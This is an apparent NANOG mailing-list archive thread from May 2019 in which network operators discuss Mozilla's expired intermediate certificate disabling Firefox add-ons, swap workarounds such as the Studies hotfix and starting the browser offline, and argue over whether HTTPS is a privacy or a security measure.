http://www.ahbl.org From bruns at 2mbit.com Sat May 4 03:37:36 2019 From: bruns at 2mbit.com (Brielle Bruns) Date: Fri, 3 May 2019 21:37:36 -0600 Subject: Widespread Firefox issues In-Reply-To: References: Message-ID: <622322e6-298f-c850-83ca-f8d8a393ed86@2mbit.com> On 5/3/2019 8:48 PM, Keith Medcalf wrote: > > Clearly false, since it is 2019-05-04 02:46:31.342994 now and nothing whatsoever happened to my Firefox browser, and all the extensions are still working just fine. Clearly you are not reading the bug reports and paying attention. Its not happening to everyone, but a large enough group of people are experiencing it. My desktop for example, is having the issue, my laptop is not. -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org From bruns at 2mbit.com Sat May 4 03:38:39 2019 From: bruns at 2mbit.com (Brielle Bruns) Date: Fri, 3 May 2019 21:38:39 -0600 Subject: Widespread Firefox issues In-Reply-To: <83d96764-a04d-003f-70cd-6c94f248d5d8@gmail.com> References: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> <83d96764-a04d-003f-70cd-6c94f248d5d8@gmail.com> Message-ID: <025c86bf-1638-4fca-17c2-ecd562cf8a92@2mbit.com> On 5/3/2019 8:58 PM, Adrian Minta wrote: > My temporary solution was to set "xpinstall.signatures.required" to > "false". Unfortunately only works if you are using the Dev version :( They totally removed ability to bypass that in the standard distribution of Firefox. Ugh -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org From kauer at biplane.com.au Sat May 4 03:54:19 2019 From: kauer at biplane.com.au (Karl Auer) Date: Sat, 04 May 2019 13:54:19 +1000 Subject: Widespread Firefox issues In-Reply-To: <025c86bf-1638-4fca-17c2-ecd562cf8a92@2mbit.com> References: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> <83d96764-a04d-003f-70cd-6c94f248d5d8@gmail.com> <025c86bf-1638-4fca-17c2-ecd562cf8a92@2mbit.com> Message-ID: <1556942059.27758.86.camel@biplane.com.au> On Fri, 2019-05-03 at 21:38 -0600, Brielle Bruns wrote: > On 5/3/2019 8:58 PM, Adrian Minta wrote: > > My temporary solution was to set "xpinstall.signatures.required" > > to "false". > Unfortunately only works if you are using the Dev version :( Or, apparently, if you are using the Linux version. I'm on 66.0.3 Linux 64-bit. I think the Android version still allows it, too. I dislike this trend to remove features "for our own good", yet everyone seems to be doing it. Regards, K. -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Karl Auer (kauer at biplane.com.au) http://www.biplane.com.au/kauer http://twitter.com/kauer389 GPG fingerprint: 8D08 9CAA 649A AFEF E862 062A 2E97 42D4 A2A0 616D Old fingerprint: A0CD 28F0 10BE FC21 C57C 67C1 19A6 83A4 9B0B 1D75 From randy at psg.com Sat May 4 12:19:23 2019 From: randy at psg.com (Randy Bush) Date: Sat, 04 May 2019 05:19:23 -0700 Subject: Widespread Firefox issues In-Reply-To: <025c86bf-1638-4fca-17c2-ecd562cf8a92@2mbit.com> References: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> <83d96764-a04d-003f-70cd-6c94f248d5d8@gmail.com> <025c86bf-1638-4fca-17c2-ecd562cf8a92@2mbit.com> Message-ID: so is there a recipe for re-enabling the add-ons? otherwise, one is running pretty nekkid. randy From chk at pobox.com Sat May 4 12:23:28 2019 From: chk at pobox.com (Harald Koch) Date: Sat, 04 May 2019 08:23:28 -0400 Subject: Widespread Firefox issues In-Reply-To: References: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> <83d96764-a04d-003f-70cd-6c94f248d5d8@gmail.com> <025c86bf-1638-4fca-17c2-ecd562cf8a92@2mbit.com> Message-ID: <3e7f83e1-f842-4144-a839-87046f39d5b4@www.fastmail.com> On Sat, May 4, 2019, at 08:21, Randy Bush wrote: > so is there a recipe for re-enabling the add-ons? otherwise, one is > running pretty nekkid. >From https://discourse.mozilla.org/t/certificate-issue-causing-add-ons-to-be-disabled-or-fail-to-install/39047: 12:50 p.m. UTC / 03:50 a.m. PDT: We rolled-out a fix for release, beta and nightly users on Desktop. The fix will be automatically applied in the background within the next few hours, you don’t need to take active steps. In order to be able to provide this fix on short notice, we are using the Studies system. You can check if you have studies enabled by going to Firefox Preferences -> Privacy & Security -> Allow Firefox to install and run studies. You can disable studies again after your add-ons have been re-enabled. We are working on a general fix that doesn’t need to rely on this and will keep you updated. -- Harald Koch chk at pobox.com From randy at psg.com Sat May 4 12:36:44 2019 From: randy at psg.com (Randy Bush) Date: Sat, 04 May 2019 05:36:44 -0700 Subject: Widespread Firefox issues In-Reply-To: <3e7f83e1-f842-4144-a839-87046f39d5b4@www.fastmail.com> References: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> <83d96764-a04d-003f-70cd-6c94f248d5d8@gmail.com> <025c86bf-1638-4fca-17c2-ecd562cf8a92@2mbit.com> <3e7f83e1-f842-4144-a839-87046f39d5b4@www.fastmail.com> Message-ID: >> so is there a recipe for re-enabling the add-ons? otherwise, one is >> running pretty nekkid. > >> From https://discourse.mozilla.org/t/certificate-issue-causing-add-ons-to-be-disabled-or-fail-to-install/39047: > > 12:50 p.m. UTC / 03:50 a.m. PDT: We rolled-out a fix for release, beta > and nightly users on Desktop. The fix will be automatically applied in > the background within the next few hours, you don’t need to take > active steps. > > In order to be able to provide this fix on short notice, we are using > the Studies system. You can check if you have studies enabled by going > to Firefox Preferences -> Privacy & Security -> Allow Firefox to > install and run studies. > > You can disable studies again after your add-ons have been re-enabled. > > We are working on a general fix that doesn’t need to rely on this and > will keep you updated. read that. to do it, i have to start ffox. and 100 tabs will open and javascript will flood in. From bill at herrin.us Sat May 4 12:48:04 2019 From: bill at herrin.us (William Herrin) Date: Sat, 4 May 2019 05:48:04 -0700 Subject: Widespread Firefox issues In-Reply-To: <3e7f83e1-f842-4144-a839-87046f39d5b4@www.fastmail.com> References: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> <83d96764-a04d-003f-70cd-6c94f248d5d8@gmail.com> <025c86bf-1638-4fca-17c2-ecd562cf8a92@2mbit.com> <3e7f83e1-f842-4144-a839-87046f39d5b4@www.fastmail.com> Message-ID: > > From > https://discourse.mozilla.org/t/certificate-issue-causing-add-ons-to-be-disabled-or-fail-to-install/39047 > : > > 12:50 p.m. UTC / 03:50 a.m. PDT: We rolled-out a fix for release, beta and > nightly users on Desktop. The fix will be automatically applied in the > background within the next few hours, you don’t need to take active steps. > > In order to be able to provide this fix on short notice, we are using the > Studies system. You can check if you have studies enabled by going to > Firefox Preferences -> Privacy & Security -> Allow Firefox to install and > run studies. > This is a lie. I had both updates and studies disabled but "hotfix-update-xpi-intermediate" appeared in my addons anyway. It also failed to re-enable noscript. Regards, Bill Herrin -- William Herrin ................ herrin at dirtside.com bill at herrin.us Dirtside Systems ......... Web: -------------- next part -------------- An HTML attachment was scrubbed... URL: From ximaera at gmail.com Sat May 4 12:55:44 2019 From: ximaera at gmail.com (=?UTF-8?Q?T=C3=B6ma_Gavrichenkov?=) Date: Sat, 4 May 2019 15:55:44 +0300 Subject: Widespread Firefox issues In-Reply-To: References: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> <83d96764-a04d-003f-70cd-6c94f248d5d8@gmail.com> <025c86bf-1638-4fca-17c2-ecd562cf8a92@2mbit.com> <3e7f83e1-f842-4144-a839-87046f39d5b4@www.fastmail.com> Message-ID: On Sat, May 4, 2019, 3:37 PM Randy Bush wrote: > to do it, i have to start ffox. and 100 tabs will open and > javascript will flood in. > Disconnect from the network, start Firefox while offline, then KILL IT WITH FIRE^W SIGKILL. After that, Firefox will start with a "Restore tabs" page which doesn't activate tabs automatically. -- Töma > -------------- next part -------------- An HTML attachment was scrubbed... URL: From cbronson at iec-electronics.com Sat May 4 13:02:56 2019 From: cbronson at iec-electronics.com (Charles Bronson) Date: Sat, 4 May 2019 13:02:56 +0000 Subject: [EXT] RE: Widespread Firefox issues In-Reply-To: References: , Message-ID: From: NANOG on behalf of Keith Medcalf Sent: Saturday, May 4, 2019 3:14:53 AM To: NANOG list Cc: Constantine A. Murenin Subject: [EXT] RE: Widespread Firefox issues HTTPS: has nothing to do with the website being "secure". https: means that transport layer security (encryption) is in effect. https: is a PRIVACY measure, not a SECURITY measure. --- The fact that there's a Highway to Hell but only a Stairway to Heaven says a lot about anticipated traffic volume. >-----Original Message----- >From: NANOG [ mailto:nanog-bounces at nanog.org] On Behalf Of Constantine >A. Murenin >Sent: Friday, 3 May, 2019 21:02 >To: Brielle Bruns >Cc: NANOG list >Subject: Re: Widespread Firefox issues > >On Fri, 3 May 2019 at 20:57, Brielle Bruns wrote: > > > Just an FYI since this is bound to impact users: > > https://bugzilla.mozilla.org/show_bug.cgi?id=1548973 > > Basically, Mozilla forgot to renew an intermediate cert, and >people's > Firefox browsers have mass-disabled addons. > > Whoops. > > > >This is why it's important that every single website on the internet >is available ONLY over HTTPS. Don't forget to install an HSTS >policy, too, so, if anyone ever visits Kazakhstan or a security- >conscious corporate office, they'll be prevented from accessing the >cute pictures of cats on your fully static website. Of course, don't >forget to abandon HTTP, too, and simply issue 301 Moved Permanently >redirects from all HTTP targets to HTTPS, to cover all the bases. > >Backwards compatibility? Don't you worry — no browser lets anyone >remove HSTS, once installed, so, you're golden. And HTTPS links >won't fallback to HTTP, either, so, you're good there, too — your >cute cats are safe and secure, and once folks link to your new site >under https://, your future self will be safe and secure from ever >having the option to go insecure again. I mean, why would anyone go >"insecure"? Especially now with LetsEncrypt? > > >Oh, wait… > > >Wait a moment, and who's the biggest player behind the HTTPS-only >movement? Oh, and Mozilla's one of the biggest backers of >LetsEncrypt, too? I see… Well, nothing to see here, move along! >#TooBigToFail. > > >C. I may be wrong and if so, I am happy to be corrected, but I don't think that statement is entirely true. The certificate not only encrypts the connection, it also verifies that you are connecting to the server you intend to. That second component is a security measure. Charles Bronson -------------- next part -------------- An HTML attachment was scrubbed... URL: From kauer at biplane.com.au Sat May 4 13:11:16 2019 From: kauer at biplane.com.au (Karl Auer) Date: Sat, 04 May 2019 23:11:16 +1000 Subject: Widespread Firefox issues In-Reply-To: References: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> <83d96764-a04d-003f-70cd-6c94f248d5d8@gmail.com> <025c86bf-1638-4fca-17c2-ecd562cf8a92@2mbit.com> <3e7f83e1-f842-4144-a839-87046f39d5b4@www.fastmail.com> Message-ID: <1556975476.27758.104.camel@biplane.com.au> On Sat, 2019-05-04 at 05:36 -0700, Randy Bush wrote: > will keep you updated. read that.  to do it, i have to start > ffox.  and 100 tabs will open and > javascript will flood in. Disconnect from network. Start Firefox. Take a moment to appreciate the silence. Close tabs. Reconnect to network. OR: Start firefox's profile manager:    firefox -P --no-remote Then create a new profile and start FireFox with the new profile. Not 100% sure how the studies feature works, but I am assuming it updates more than just the profile, so once FF has updated you should be able to open the old profile and get all your extensions and settings back. Regards, K. -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Karl Auer (kauer at biplane.com.au) http://www.biplane.com.au/kauer http://twitter.com/kauer389 GPG fingerprint: 8D08 9CAA 649A AFEF E862 062A 2E97 42D4 A2A0 616D Old fingerprint: A0CD 28F0 10BE FC21 C57C 67C1 19A6 83A4 9B0B 1D75 From eng.mssk at gmail.com Fri May 3 20:33:51 2019 From: eng.mssk at gmail.com (Mohammad Khalil) Date: Fri, 3 May 2019 23:33:51 +0300 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: References: <829da6b2-a7a2-0cd9-4d5d-63bf7cdbc61c@dougbarton.us> Message-ID: Hello all I have prepared something in the past you might find useful (hopefully). Please check the attached. BR, Mohammad On Fri, 3 May 2019 at 20:37, James R Cutler wrote: > On May 3, 2019, at 11:47 AM, Doug Barton wrote: > > On 5/3/19 8:14 AM, Brian J. Murrell wrote: > > Hi, > I am trying to make a case (to old fuddy-duddies, which is why I even > need to actually make a case) for IPv6 for my own selfish reasons. :-) > I wonder if anyone has any references to interesting/useful/otherwise > resources on are only available to IPv6 users that they can forward to > me. > > > This type of marketing approach was pursued doggedly for many of the early > years of IPv6 rollout. It was as misguided then as it was ineffective. > > If you have plenty of IPv4 space, you have no case for IPv6. (And I say > that as one of the most enthusiastic proponents of it.) OTOH, if you > are/might/will be approach(ing) any kind of IPv4 capacity limitation, then > you want to start deploying IPv6 ASAP. > > The other case that makes business sense is a content provider with a lot > of traffic. You can get different, and often better, peering relationships > over IPv6; and there are a lot of eyeball networks, especially mobile > providers, who are using it natively nowadays. > > hope this helps, > > Doug > > > The most valuable/useful network resource available today using IPv6 is a > mobile network customer. (Not necessarily IPV6 only, but IPv4 requires > extra effort.) > > - > James R. Cutler > James.cutler at consultant.com > GPG keys: hkps://hkps.pool.sks-keyservers.net > > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From bruns at 2mbit.com Sat May 4 14:29:55 2019 From: bruns at 2mbit.com (Brielle Bruns) Date: Sat, 4 May 2019 08:29:55 -0600 Subject: Widespread Firefox issues In-Reply-To: References: Message-ID: So, for being "Clearly false", the hotfix pushed out by the Firefox Studies feature is... *drumroll* An updated intermediate certificate! You can turn on the Studies option under Privacy & Security for a little while, then check about:studies and you should see one or two in there regarding the xpi verification/signing. Once you have those two studies, you can disable Studies again. Likely we'll see a full fix with a point release of Firefox in a day or so. On 5/3/2019 8:48 PM, Keith Medcalf wrote: > > Clearly false, since it is 2019-05-04 02:46:31.342994 now and nothing whatsoever happened to my Firefox browser, and all the extensions are still working just fine. > > --- > The fact that there's a Highway to Hell but only a Stairway to Heaven says a lot about anticipated traffic volume. > > >> -----Original Message----- >> From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Brielle >> Bruns >> Sent: Friday, 3 May, 2019 19:56 >> To: NANOG list >> Subject: Widespread Firefox issues >> >> Just an FYI since this is bound to impact users: >> >> https://bugzilla.mozilla.org/show_bug.cgi?id=1548973 >> >> Basically, Mozilla forgot to renew an intermediate cert, and people's >> Firefox browsers have mass-disabled addons. >> >> Whoops. >> -- >> Brielle Bruns >> The Summit Open Source Development Group >> http://www.sosdg.org / http://www.ahbl.org > > > -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org From kmedcalf at dessus.com Sat May 4 15:30:41 2019 From: kmedcalf at dessus.com (Keith Medcalf) Date: Sat, 04 May 2019 09:30:41 -0600 Subject: Widespread Firefox issues In-Reply-To: Message-ID: <8ed4f90ff6207f4d9c3ca5c14d2e769a@mail.dessus.com> I will stick to the "clearly false" since it is now well to the point where we are in 2019-05-04 (even in local UT1, let alone UTC), studies are disabled (and have been since forever), no studies have been loaded, and my extensions still work quite fine, thank-you. Attempting to install a "new" extension fails with a "bad signature" error. Is the "permanent fix" going to be proper validation of signatures I wonder? Or will they still consider the signature (made while there was ink in the pen) to be invalid after the pen runs out of ink? Or, more accurately, not invalidate the handwritten signature after the death of the witness. Lordy forbid that the "real world" worked like that ... invalidating the signature on a contract merely because the witness or signer got killed by a rogue bus ... What a lovely way to render a contract nul ab initio -- just kill one of the witnesses ... --- The fact that there's a Highway to Hell but only a Stairway to Heaven says a lot about anticipated traffic volume. >-----Original Message----- >From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Brielle >Bruns >Sent: Saturday, 4 May, 2019 08:30 >To: nanog at nanog.org >Subject: Re: Widespread Firefox issues > >So, for being "Clearly false", the hotfix pushed out by the Firefox >Studies feature is... > >*drumroll* > >An updated intermediate certificate! > > >You can turn on the Studies option under Privacy & Security for a >little >while, then check about:studies and you should see one or two in >there >regarding the xpi verification/signing. Once you have those two >studies, you can disable Studies again. > >Likely we'll see a full fix with a point release of Firefox in a day >or so. > > > >On 5/3/2019 8:48 PM, Keith Medcalf wrote: >> >> Clearly false, since it is 2019-05-04 02:46:31.342994 now and >nothing whatsoever happened to my Firefox browser, and all the >extensions are still working just fine. >> >> --- >> The fact that there's a Highway to Hell but only a Stairway to >Heaven says a lot about anticipated traffic volume. >> >> >>> -----Original Message----- >>> From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Brielle >>> Bruns >>> Sent: Friday, 3 May, 2019 19:56 >>> To: NANOG list >>> Subject: Widespread Firefox issues >>> >>> Just an FYI since this is bound to impact users: >>> >>> https://bugzilla.mozilla.org/show_bug.cgi?id=1548973 >>> >>> Basically, Mozilla forgot to renew an intermediate cert, and >people's >>> Firefox browsers have mass-disabled addons. >>> >>> Whoops. >>> -- >>> Brielle Bruns >>> The Summit Open Source Development Group >>> http://www.sosdg.org / http://www.ahbl.org >> >> >> > > >-- >Brielle Bruns >The Summit Open Source Development Group >http://www.sosdg.org / http://www.ahbl.org From royce at techsolvency.com Sat May 4 15:40:02 2019 From: royce at techsolvency.com (Royce Williams) Date: Sat, 4 May 2019 07:40:02 -0800 Subject: Widespread Firefox issues In-Reply-To: <8ed4f90ff6207f4d9c3ca5c14d2e769a@mail.dessus.com> References: <8ed4f90ff6207f4d9c3ca5c14d2e769a@mail.dessus.com> Message-ID: On Sat, May 4, 2019 at 7:32 AM Keith Medcalf wrote: > > I will stick to the "clearly false" since it is now well to the point > where we are in 2019-05-04 (even in local UT1, let alone UTC), studies are > disabled (and have been since forever), no studies have been loaded, and my > extensions still work quite fine, thank-you. Attempting to install a "new" > extension fails with a "bad signature" error. > Here's something interesting - a few times now, I've told Firefox to enable Studies and then restarted ... but the Studies setting reverted to being unchecked. Maybe one of my other paranoia-enabling extensions is toggling it off ... but if so, I haven't found it yet. Still investigating. Royce -------------- next part -------------- An HTML attachment was scrubbed... URL: From valdis.kletnieks at vt.edu Sat May 4 15:55:59 2019 From: valdis.kletnieks at vt.edu (Valdis Kl=?utf-8?Q?=c4=93?=tnieks) Date: Sat, 04 May 2019 11:55:59 -0400 Subject: [EXT] RE: Widespread Firefox issues In-Reply-To: References: , Message-ID: <29425.1556985359@turing-police> On Sat, 04 May 2019 13:02:56 -0000, Charles Bronson said: > On Fri, 03 May 2019 21:14:53 -0600, "Keith Medcalf" said: >> HTTPS: has nothing to do with the website being "secure". https: means that >> transport layer security (encryption) is in effect. https: is a PRIVACY >> measure, not a SECURITY measure. > I may be wrong and if so, I am happy to be corrected, but I don't think that > statement is entirely true. The certificate not only encrypts the connection, > it also verifies that you are connecting to the server you intend to. That second > component is a security measure. Actually, the identity component of a certificate does *not* verify you connected to the server you *intended*. It verifies that the server you actually connected to is the one that the connection was directed to, and that you didn't get MITM'ed. That's important, but not what most people think it means. In particular, it does *not* protect against typo squatters that get hits when you accidentally try to go to faceebook.com. Also, when a user enters cnn.com, they *intend* to visit cnn.com, and aren't thinking about the *other* 38 sites that get contacted (as reported by the IPvFoo extension). Did I *intend* to go to a125375509.cdn.optimizely.com - one of the sites that ends up getting called when I visit cnn.com? So while there's a useful security guarantee provided by the proof-of-identity, it's *NOT* what people usually think it is. Additionally, the first component is also a security measure as well. Googling for "3 pillars of security" shows that they're "confidentiality, integrity, and availability". In what world are the "privacy" provisions of TLS *not* part of "confidentiality"? https://www.lmgtfy.com/?q=3+pillars+of+security -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 832 bytes Desc: not available URL: From royce at techsolvency.com Sat May 4 16:02:37 2019 From: royce at techsolvency.com (Royce Williams) Date: Sat, 4 May 2019 08:02:37 -0800 Subject: Widespread Firefox issues In-Reply-To: References: <8ed4f90ff6207f4d9c3ca5c14d2e769a@mail.dessus.com> Message-ID: On Sat, May 4, 2019 at 7:40 AM Royce Williams wrote: > On Sat, May 4, 2019 at 7:32 AM Keith Medcalf wrote: > >> >> I will stick to the "clearly false" since it is now well to the point >> where we are in 2019-05-04 (even in local UT1, let alone UTC), studies are >> disabled (and have been since forever), no studies have been loaded, and my >> extensions still work quite fine, thank-you. Attempting to install a "new" >> extension fails with a "bad signature" error. >> > > Here's something interesting - a few times now, I've told Firefox to > enable Studies and then restarted ... but the Studies setting reverted to > being unchecked. > > Maybe one of my other paranoia-enabling extensions is toggling it off ... > but if so, I haven't found it yet. Still investigating. > Even stranger, I can manually toggle 'app.shield.optoutstudies.enabled' in about:config ... and *that* persists across reboots ... but Studies *still* aren't enabled (the about:preferences item is still unchecked, and the "about:studies" area still indicates that they're disabled). There's definitely something weird about enabling/disabling studies. FWIW, this is 64-bit 66.0.3 on Ubuntu, and it's an instance of Firefox that had studies disabled before this issue emerged. On a very similar setup, but one with a vanilla Firefox install that already had Studies enabled, I can't recreate this symptom - even if I turn Studies off (either using the GUI or with the about:config item). Royce -------------- next part -------------- An HTML attachment was scrubbed... URL: From bruns at 2mbit.com Sat May 4 16:07:55 2019 From: bruns at 2mbit.com (Brielle) Date: Sat, 4 May 2019 10:07:55 -0600 Subject: Widespread Firefox issues In-Reply-To: <8ed4f90ff6207f4d9c3ca5c14d2e769a@mail.dessus.com> References: <8ed4f90ff6207f4d9c3ca5c14d2e769a@mail.dessus.com> Message-ID: <6C9B444B-CE3C-4D0F-8967-1E7B4B85EEFE@2mbit.com> Guess it’s a good thing then that I’m not needing to rely on your ‘expert opinion’ since Mozilla provided (and still is providing) details as they resolve the issue, eh? Something something something long winded responses and long stretch metaphors... Sent from my iPhone > On May 4, 2019, at 9:30 AM, Keith Medcalf wrote: > > > I will stick to the "clearly false" since it is now well to the point where we are in 2019-05-04 (even in local UT1, let alone UTC), studies are disabled (and have been since forever), no studies have been loaded, and my extensions still work quite fine, thank-you. Attempting to install a "new" extension fails with a "bad signature" error. > > Is the "permanent fix" going to be proper validation of signatures I wonder? > Or will they still consider the signature (made while there was ink in the pen) to be invalid after the pen runs out of ink? > > Or, more accurately, not invalidate the handwritten signature after the death of the witness. Lordy forbid that the "real world" worked like that ... invalidating the signature on a contract merely because the witness or signer got killed by a rogue bus ... What a lovely way to render a contract nul ab initio -- just kill one of the witnesses ... > > --- > The fact that there's a Highway to Hell but only a Stairway to Heaven says a lot about anticipated traffic volume. > > >> -----Original Message----- >> From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Brielle >> Bruns >> Sent: Saturday, 4 May, 2019 08:30 >> To: nanog at nanog.org >> Subject: Re: Widespread Firefox issues >> >> So, for being "Clearly false", the hotfix pushed out by the Firefox >> Studies feature is... >> >> *drumroll* >> >> An updated intermediate certificate! >> >> >> You can turn on the Studies option under Privacy & Security for a >> little >> while, then check about:studies and you should see one or two in >> there >> regarding the xpi verification/signing. Once you have those two >> studies, you can disable Studies again. >> >> Likely we'll see a full fix with a point release of Firefox in a day >> or so. >> >> >> >>> On 5/3/2019 8:48 PM, Keith Medcalf wrote: >>> >>> Clearly false, since it is 2019-05-04 02:46:31.342994 now and >> nothing whatsoever happened to my Firefox browser, and all the >> extensions are still working just fine. >>> >>> --- >>> The fact that there's a Highway to Hell but only a Stairway to >> Heaven says a lot about anticipated traffic volume. >>> >>> >>>> -----Original Message----- >>>> From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Brielle >>>> Bruns >>>> Sent: Friday, 3 May, 2019 19:56 >>>> To: NANOG list >>>> Subject: Widespread Firefox issues >>>> >>>> Just an FYI since this is bound to impact users: >>>> >>>> https://bugzilla.mozilla.org/show_bug.cgi?id=1548973 >>>> >>>> Basically, Mozilla forgot to renew an intermediate cert, and >> people's >>>> Firefox browsers have mass-disabled addons. >>>> >>>> Whoops. >>>> -- >>>> Brielle Bruns >>>> The Summit Open Source Development Group >>>> http://www.sosdg.org / http://www.ahbl.org >>> >>> >>> >> >> >> -- >> Brielle Bruns >> The Summit Open Source Development Group >> http://www.sosdg.org / http://www.ahbl.org > > > From randy at psg.com Sat May 4 17:46:41 2019 From: randy at psg.com (Randy Bush) Date: Sat, 04 May 2019 10:46:41 -0700 Subject: Widespread Firefox issues In-Reply-To: <1556975476.27758.104.camel@biplane.com.au> References: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> <83d96764-a04d-003f-70cd-6c94f248d5d8@gmail.com> <025c86bf-1638-4fca-17c2-ecd562cf8a92@2mbit.com> <3e7f83e1-f842-4144-a839-87046f39d5b4@www.fastmail.com> <1556975476.27758.104.camel@biplane.com.au> Message-ID: >> to do it, i have to start ffox.  and 100 tabs will open and >> javascript will flood in. recipe - turn off internet connectivity - start firefox - `kill -s sigkill` it - restart it, do not restore sesstion - turn internet back on - go to prefs / privacy and enable studio - wait until `about:studies` shows you got the two updates - allow sessions to restart randy From valdis.kletnieks at vt.edu Sat May 4 17:50:19 2019 From: valdis.kletnieks at vt.edu (Valdis Kl=?utf-8?Q?=c4=93?=tnieks) Date: Sat, 04 May 2019 13:50:19 -0400 Subject: Widespread Firefox issues In-Reply-To: References: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> <83d96764-a04d-003f-70cd-6c94f248d5d8@gmail.com> <025c86bf-1638-4fca-17c2-ecd562cf8a92@2mbit.com> <3e7f83e1-f842-4144-a839-87046f39d5b4@www.fastmail.com> <1556975476.27758.104.camel@biplane.com.au> Message-ID: <6788.1556992219@turing-police> On Sat, 04 May 2019 10:46:41 -0700, Randy Bush said: > >> to do it, i have to start ffox.��and 100 tabs will open and > >> javascript will flood in. > > recipe > - turn off internet connectivity > - start firefox > - `kill -s sigkill` it > - restart it, do not restore sesstion > - turn internet back on > - go to prefs / privacy and enable studio > - wait until `about:studies` shows you got the two updates > - allow sessions to restart Keep in mind that if Firefox exits between 'do not restore session' and 'allow sessions to restart', all the tabs may vanish into the ether. Been burned by that before. May want to tar up your .mozilla directory for safe keeping (or whatever needs to be done on boxes where tar'ing up a directory isn't a thing....) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 832 bytes Desc: not available URL: From blakjak at blakjak.net Sat May 4 20:33:24 2019 From: blakjak at blakjak.net (Mark Foster) Date: Sun, 05 May 2019 08:33:24 +1200 Subject: Widespread Firefox issues In-Reply-To: <6788.1556992219@turing-police> References: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> <83d96764-a04d-003f-70cd-6c94f248d5d8@gmail.com> <025c86bf-1638-4fca-17c2-ecd562cf8a92@2mbit.com> <3e7f83e1-f842-4144-a839-87046f39d5b4@www.fastmail.com> <1556975476.27758.104.camel@biplane.com.au> <6788.1556992219@turing-police> Message-ID: Official update from Mozilla: https://blog.mozilla.org/addons/2019/05/04/update-regarding-add-ons-in-firefox/ Mark. On 5 May 2019 5:50:19 AM NZST, "Valdis Klētnieks" wrote: >On Sat, 04 May 2019 10:46:41 -0700, Randy Bush said: >> >> to do it, i have to start ffox.��and 100 tabs will open and >> >> javascript will flood in. >> >> recipe >> - turn off internet connectivity >> - start firefox >> - `kill -s sigkill` it >> - restart it, do not restore sesstion >> - turn internet back on >> - go to prefs / privacy and enable studio >> - wait until `about:studies` shows you got the two updates >> - allow sessions to restart > >Keep in mind that if Firefox exits between 'do not restore session' and >'allow sessions to restart', all the tabs may vanish into the ether. >Been >burned by that before. May want to tar up your .mozilla directory for >safe keeping (or whatever needs to be done on boxes where tar'ing up >a directory isn't a thing....) -- Sent from a mobile device. -------------- next part -------------- An HTML attachment was scrubbed... URL: From ler762 at gmail.com Sat May 4 21:04:50 2019 From: ler762 at gmail.com (Lee) Date: Sat, 4 May 2019 17:04:50 -0400 Subject: Widespread Firefox issues In-Reply-To: References: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> <83d96764-a04d-003f-70cd-6c94f248d5d8@gmail.com> <025c86bf-1638-4fca-17c2-ecd562cf8a92@2mbit.com> <3e7f83e1-f842-4144-a839-87046f39d5b4@www.fastmail.com> <1556975476.27758.104.camel@biplane.com.au> <6788.1556992219@turing-police> Message-ID: On 5/4/19, Mark Foster wrote: > Official update from Mozilla: > > https://blog.mozilla.org/addons/2019/05/04/update-regarding-add-ons-in-firefox/ where they say Please note: The fix does not apply to Firefox ESR which is what I'm running, so about:config change xpinstall.signatures.required to false, restart and all my extensions now show xxx could not be verified for use in Firefox. Proceed with caution. but at least they're all enabled again :) Lee From royce at techsolvency.com Sat May 4 21:44:19 2019 From: royce at techsolvency.com (Royce Williams) Date: Sat, 4 May 2019 13:44:19 -0800 Subject: Widespread Firefox issues In-Reply-To: References: <8ed4f90ff6207f4d9c3ca5c14d2e769a@mail.dessus.com> Message-ID: On Sat, May 4, 2019 at 8:02 AM Royce Williams wrote: > On Sat, May 4, 2019 at 7:40 AM Royce Williams > wrote: > >> On Sat, May 4, 2019 at 7:32 AM Keith Medcalf wrote: >> >>> >>> I will stick to the "clearly false" since it is now well to the point >>> where we are in 2019-05-04 (even in local UT1, let alone UTC), studies are >>> disabled (and have been since forever), no studies have been loaded, and my >>> extensions still work quite fine, thank-you. Attempting to install a "new" >>> extension fails with a "bad signature" error. >>> >> >> Here's something interesting - a few times now, I've told Firefox to >> enable Studies and then restarted ... but the Studies setting reverted to >> being unchecked. >> >> Maybe one of my other paranoia-enabling extensions is toggling it off ... >> but if so, I haven't found it yet. Still investigating. >> > > Even stranger, I can manually toggle 'app.shield.optoutstudies.enabled' in > about:config ... and *that* persists across reboots ... but Studies *still* > aren't enabled (the about:preferences item is still unchecked, and the > "about:studies" area still indicates that they're disabled). > > There's definitely something weird about enabling/disabling studies. > > FWIW, this is 64-bit 66.0.3 on Ubuntu, and it's an instance of Firefox > that had studies disabled before this issue emerged. On a very similar > setup, but one with a vanilla Firefox install that already had Studies > enabled, I can't recreate this symptom - even if I turn Studies off (either > using the GUI or with the about:config item). > Multiple people have replied offthread that they have the same symptom. This workaround worked for me: https://www.reddit.com/r/firefox/comments/bkk5ss/if_you_dont_want_to_wait_do_this/ Royce -------------- next part -------------- An HTML attachment was scrubbed... URL: From kmedcalf at dessus.com Sat May 4 22:10:18 2019 From: kmedcalf at dessus.com (Keith 